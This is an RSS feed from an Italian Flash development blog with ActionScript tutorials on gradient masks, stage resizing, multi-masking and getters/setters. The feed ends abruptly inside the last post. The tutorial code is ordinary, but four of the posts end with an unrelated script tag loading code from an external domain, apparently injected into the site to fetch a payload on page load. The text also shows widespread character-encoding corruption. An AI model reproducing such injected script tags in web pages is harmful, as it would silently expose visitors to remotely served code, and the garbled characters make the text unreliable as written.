<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; ActionScript 2</title>
	<atom:link href="http://www.flashfuck.it/category/actionscript-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Gradient Masking &#8211; La sfumatura nelle maschere</title>
		<link>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</link>
		<comments>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 00:23:46 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</guid>
		<description><![CDATA[Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.
Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?

crea un movieclip da mascherare
crea un altro movieclip contenente una forma con riempimento a [...]]]></description>
			<content:encoded><![CDATA[<p>Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.</p>
<p>Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?</p>
<ol>
<li>crea un movieclip da mascherare</li>
<li>crea un altro movieclip contenente una forma con riempimento a gradiente nel quale almeno un colore abbia alpha minore di 100</li>
<li>posiziona nello stage (fisicamente o via actionscript) i due clip: il mascherato e la maschera</li>
<li>via actionscript imposta a true la propriet√† &#8220;cacheAsBitmap&#8221; di ciascun movieclip</li>
<li>sempre via actionscript imposta la maschera del movieclip da mascherare (setMask in AS2 o mask in AS3)</li>
</ol>
<p>ecco il risultato:<br />
<object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" width="400" height="200" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p>questo il fla dell&#8217;esempio (CS3) <a href='http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate_flasfuckit.zip' title='maschere_sfumate_flasfuckit.zip'>Download Source</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Actionscript 3 VS Actionscript 2</title>
		<link>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</link>
		<comments>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 21:35:03 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Anything else]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</guid>
		<description><![CDATA[AS2 o AS3?
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..

Riporto il topic su wave9.it, leggetelo qui o andate direttamente alla fonte  
Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e [...]]]></description>
			<content:encoded><![CDATA[<p>AS2 o AS3?<br />
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..</p>
<p align="center"><img src='http://www.flashfuck.it/wp-content/uploads/2007/10/gotoandfuck.png' alt='gotoandfuck.png' /></p>
<p>Riporto il topic su <a href="http://www.wave9.it">wave9.it</a>, leggetelo qui o andate <a href="http://www.wave9.it/showthread.php?p=124460">direttamente alla fonte</a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<blockquote><p>Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e diverse sono le opinioni a riguardo tra gli addetti ai lavori e non solo.</p>
<p>Actionscript 3 ha portato insieme gioie e perplessit√†,<br />
ha sicuramente accentuato le differenze tra le figure &#8220;flash coder&#8221; e &#8220;flash designer&#8221; marcando pi√π strettamente il territorio di confine.<br />
Forse ha incrinato la figura del &#8220;flasher&#8221; come &#8220;colui che sviluppa in flash&#8221; e ha attirato (soprattutto con la sempre maggiore diffusione di flex) una valanga di coders a cimentarsi con actionscript.</p>
<p>C&#8217;√® chi pensa che AS3 abbia solo complicato le cose, o meglio turbato l&#8217;equilibrio che si era andato a creare con l&#8217;avvento di flash mx,<br />
che con AS3 serva scrivere molto pi√π codice per fare le stesse cose che si facevano in AS2, e quindi non serva a nulla,<br />
che AS3 e la AVM2 (la virtual machine di flash player 8.5+) sia solo una strategia di marketing per stravolgere il mercato e vendere flash 9 (ehm&#8230;cs3) e flex builder ad una fetta pi√π ampia di coders&#8230;.</p>
<p>C&#8217;√® anche chi pensa che AS3 sia il &#8220;futuro&#8221; ( anche se non ancora ben rodato),<br />
che AS3 sia effettivamente pi√π valido di AS2, che la virtual machine sia nettamente pi√π performante della precedente&#8230;e via cos√¨&#8230;</p>
<p>&#8230;e intanto hanno presentato al MAX il flash player 10&#8230;</p>
<p>E voi cosa ne pensate?</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adattare un swf alle dimensioni del browser con actionscript, oggetto stage, e CSS</title>
		<link>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/</link>
		<comments>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/#comments</comments>
		<pubDate>Mon, 20 Aug 2007 19:42:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/</guid>
		<description><![CDATA[Molti siti propongono swf a tutto schermo conseguendo l&#8217;obbiettivo in vari modi pi√π o meno compatibili con le specifiche W3c.
Se la domanda che vi assilla √®:
&#8220;Come si fa ad adattare un swf alle dimensioni della finestra del browser in modo che il risultato sia compatibile con i maggiori  browser?&#8221; continuate pure a leggere  [...]]]></description>
			<content:encoded><![CDATA[<p>Molti siti propongono swf a tutto schermo conseguendo l&#8217;obbiettivo in vari modi pi√π o meno compatibili con le specifiche W3c.</p>
<p>Se la domanda che vi assilla √®:<br />
<em>&#8220;Come si fa ad adattare un swf alle dimensioni della finestra del browser in modo che il risultato sia compatibile con i maggiori  browser?&#8221;</em> continuate pure a leggere <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><span id="more-22"></span></p>
<p><strong>Partiamo dalle basi:</strong></p>
<p><em><strong>Dentro Flash:</strong> </em></p>
<p>Il flash player fornisce ad Actionscript una serie di API destinate all&#8217;interazione con lo stage del nostro swf fin dai tempi di flash mx.<br />
Utilizzare questi appigli per determinare le dimensioni del nostro swf in esecuzione √® piuttosto semplice e richiede davvero poche righe di codice:</p>
<p><strong>Actionscript 2</strong>:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p224"><td class="code" id="p22code4"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">scaleMode</span> = <span style="color: #ff0000;">&quot;noScale&quot;</span>;
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">align</span> = <span style="color: #ff0000;">&quot;TL&quot;</span>;
<span style="color: #000000; font-weight: bold;">var</span> myListener:<span style="color: #0066CC;">Object</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Object</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myListener.<span style="color: #0066CC;">onResize</span> = onScreenResize;
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">addListener</span><span style="color: #66cc66;">&#40;</span>myListener<span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onScreenResize<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>Actionscript 3:</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code5'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p225"><td class="code" id="p22code5"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">StageAlign</span>;
<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">StageScaleMode</span>;
<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #808080; font-style: italic;">//assegno la funzione al gestore evento</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">RESIZE</span>,onScreenResize<span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">//funzione per gestire il resize</span>
<span style="color: #808080; font-style: italic;">//(e=null di default per evitare errori a runtime)</span>
<span style="color: #000000; font-weight: bold;">function</span> onScreenResize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>La logica come potete vedere √® la medesima:</p>
<ul>
<li>si blocca il ridimensionamento automatico dello stage (ossia lo &#8220;zoom&#8221; indesiderato)</li>
<li>si allinea lo stage in una delle 9 posizioni possibili (da top-left a bottom-right)</li>
<li>si va a gestire l&#8217;evento onResize dell&#8217;oggetto Stage in una funzione che esegue del codice a nostro uso e consumo</li>
</ul>
<p>Cambia un pochino la sintassi, ma √® solo questione di abitudine <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
<em><strong>Nel codice HTML e nel foglio di stile CSS: </strong></em></p>
<p>ora possiamo passare alla parte xhtml e css, ossia quella parte che <strong>effettivamente </strong>va a gestire le dimensioni del player all&#8217;interno del browser.</p>
<p>Gli elementi della ricetta sono i seguenti:</p>
<ul>
<li>un div</li>
<li>le direttive di stile per gli elementi del DOM &#8220;html&#8221;, &#8220;body&#8221; e &#8220;#nomediv&#8221;</li>
<li><a href="http://blog.deconcept.com/swfobject/">SWFObject</a> a piacere per scrivere il nostro swf in #nomediv</li>
</ul>
<p>Il nostro CSS apparir√† simile a questo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code6'); return false;">View Code</a> CSS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p226"><td class="code" id="p22code6"><pre class="css" style="font-family:monospace;">html <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">overflow</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">hidden</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#flashdiv</span> <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
body <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">background-color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#FFFFFF</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></td></tr></table></div>

<p><strong>Conclusione e Sorgenti</strong></p>
<p>Questo √® solo uno dei vari modi in cui si pu√≤ ottenere un swf grande quanto la finestra del browser e compatibile con la maggior parte dei browser in circolazione.</p>
<p>Ad ogni modo, <a href="http://www.flashfuck.it/wp-content/uploads/2007/08/fitscreen.zip" title="FitScreen AS + CSS">nel file zip</a> ci sono i vari casi elencati in questo mini &#8220;tutorial&#8221;,</p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AS2 Multi Mask &#8211; come assegnare la stessa maschera a pi√π movieclip</title>
		<link>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/</link>
		<comments>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/#comments</comments>
		<pubDate>Thu, 09 Aug 2007 10:50:36 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/</guid>
		<description><![CDATA[La domanda da porsi √®:
e se volessi mascherare pi√π di un movieclip con la stessa maschera partendo da un mc gi√† mascherato?
La risposta √®:
esiste un hack a riguardo fin dai tempi di flash mx.
Funziona cos√¨:
si maschera un movieclip direttamente da timeline, gli si assegna un nome istanza (ad esempio &#8220;myClip&#8221;).
Una volta mascherato si pu√≤ procedere [...]]]></description>
			<content:encoded><![CDATA[<p>La domanda da porsi √®:<br />
<em>e se volessi mascherare pi√π di un movieclip con la stessa maschera partendo da un mc gi√† mascherato</em>?</p>
<p>La risposta √®:<br />
esiste un hack a riguardo fin dai tempi di flash mx.</p>
<p>Funziona cos√¨:<br />
si maschera un movieclip direttamente da timeline, gli si assegna un nome istanza (ad esempio &#8220;myClip&#8221;).<br />
Una volta mascherato si pu√≤ procedere con la parte di script.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p208"><td class="code" id="p20code8"><pre class="actionscript" style="font-family:monospace;">myClip.<span style="color: #0066CC;">attachMovie</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;movieclipinlibreria&quot;</span>,<span style="color: #ff0000;">&quot;nome&quot;</span>,myClip.<span style="color: #0066CC;">getDepth</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>cos√¨ facendo il nuovo clip inserito nello stage sar√† mascherato esattamente come myClip.<br />
<span id="more-20"></span></p>
<p>Quanto vale per  attachMovie vale anche per createEmptyMovieClip, baster√† mantenere il livello &#8220;myClip.getDepth()-1&#8243; per rientrare nel caso.</p>
<p>Ma, <em>se volessi mascherare direttamente il mio clip via actionscript senza doverlo mascherare da timeline</em>?<br />
<a href="http://newweb.tread.net/download/prog_01/wav/animal/donkey.wav">Qui casca l&#8217;asino</a>.<br />
Con questo &#8220;hack&#8221; non si elude il metodo setmask della classe MovieClip, √® solo un modo per raggirarlo facendo leva sui livelli.<br />
Un modo per ovviare al problema per√≤ esiste.<br />
Nessuno ha detto che myClip debba essere visibile o non vuoto.<br />
Creando in libreria un movieclip &#8220;mc_mascherato&#8221; nel quale posiziono una maschera e un &#8220;myClip&#8221; vuoto si potrebbe replicare la situazione all&#8217;infinito utilizzando come timeline di riferimento proprio quella di mc_mascherato anzich√® quella principale.<br />
Le applicazioni di questo &#8220;hack&#8221; per il multi masking sono davvero tante, dalla image gallery all&#8217;intro animata, ad una semplice transizione.</p>
<p>Quasi dimenticavo, qui potete scaricarvi un esempio base.<a href='http://www.flashfuck.it/wp-content/uploads/2007/08/multimask.zip' title='AS2 Flash multi mask'>qui potete scaricarvi un esempio base</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://newweb.tread.net/download/prog_01/wav/animal/donkey.wav" length="21478" type="audio/wav" />
		</item>
		<item>
		<title>Actionscript getters setters VS public vars: cosa sono, come e quando si usano</title>
		<link>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/</link>
		<comments>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/#comments</comments>
		<pubDate>Wed, 08 Aug 2007 12:27:36 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/</guid>
		<description><![CDATA[Anche un newbie di actionscript sa cosa significa questa riga di codice:

?View Code ACTIONSCRIPTvar myInstance:MyClass = new MyClass&#40;&#41;;
myInstance.myVar = 1;

la propriet√† &#8220;myVar&#8221; dell&#8217;istanza di classe myInstance assume il valore 1.
Ma forse non √® cos√¨ immediato capire cosa pu√≤ nascondere la stessa riga di codice.
public var
E&#8217; possibile che nell&#8217;ipotetica classe MyClass di cui myInstance √® un&#8217;istanza [...]]]></description>
			<content:encoded><![CDATA[<p>Anche un newbie di actionscript sa cosa significa questa riga di codice:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code14'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1914"><td class="code" id="p19code14"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #cc66cc;">1</span>;</pre></td></tr></table></div>

<p>la propriet√† &#8220;myVar&#8221; dell&#8217;istanza di classe myInstance assume il valore 1.</p>
<p>Ma forse non √® cos√¨ immediato capire cosa pu√≤ nascondere la stessa riga di codice.<span id="more-19"></span></p>
<p><strong>public var</strong><br />
E&#8217; possibile che nell&#8217;ipotetica classe MyClass di cui myInstance √® un&#8217;istanza nella mia timeline ci sia effettivamente una variabile pubblica di nome &#8220;myVar&#8221;, di tipo Number (AS2\AS3) o int\uint (AS3) come mostrato dal codice qui sotto</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code15'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1915"><td class="code" id="p19code15"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MyClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> myVar:<span style="color: #0066CC;">Number</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>In questa situazione la variabile myVar √® accessibile, veloce ma accessibile&#8230;forse troppo accessibile.<br />
Poniamo il caso che si verifichi la situazione per cui erroneamente venisse associato a myVar un valore di tipo errato&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code16'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1916"><td class="code" id="p19code16"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #ff0000;">&quot;ciao&quot;</span>;</pre></td></tr></table></div>

<p>..si genererebbe un errore grossolano&#8230;<br />
Ecco uno dei motivi principali per cui esistono i cosiddetti &#8220;getters&#8221; o &#8220;setters&#8221;.</p>
<p><strong>getters setters</strong><br />
Sicuramente alla maggior parte di chi sta leggendo questo articolo su FlashFuck sar√† capitato di incappare su del codice simile a questo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code17'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1917"><td class="code" id="p19code17"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">//Void AS2 | void AS3</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _myVar:<span style="color: #0066CC;">Number</span>;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">set</span> myVar <span style="color: #66cc66;">&#40;</span>n:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
_myVar = n;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">get</span> myVar <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #b1b100;">return</span> _myVar ;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Questo tipo di approccio permette di gestire con le due funzioni <strong>get</strong> e <strong>set</strong> il recupero e l&#8217;assegnazione di dati alla variabile privata _myVar.</p>
<p>In termini di utilizzo non cambia nulla, si potr√† continuare ad usare la notazione</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code18'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1918"><td class="code" id="p19code18"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #cc66cc;">1</span>;</pre></td></tr></table></div>

<p>per assegnare il valore alla variabile.. (solo che in questo caso il valore viene assegnato alla variabile privata _myVar, mentre myVar √® solo il nome del getter\setter)</p>
<p>In termini di controllo del codice l&#8217;utilizzo di get e set √® notevolmente migliore rispetto all&#8217;utilizzo di una variabile pubblica,<br />
tuttavia in termini di prestazioni una variabile pubblica √® notevolmente pi√π veloce di una funzione (non dimentichiamo che get e set sono appunto delle funzioni, quindi richiedono l&#8217;allocazione di pi√π memoria).</p>
<p>Quindi, quando usare get e set al posto di una variabile pubblica?<br />
La risposta √® presto detta anche se piuttosto banale: quando se ne richiede l&#8217;uso.</p>
<ul>
<li>se √® possibile che il codice generi degli errori dovuti all&#8217;assegnazione di valori ambigui ad una variabile&#8230;</li>
<li>se √® necessario che all&#8217;assegnazione del valore venga eseguita qualche altra funzione&#8230;</li>
<li>se √® necessario eseguire il dispatch di un evento&#8230;</li>
</ul>
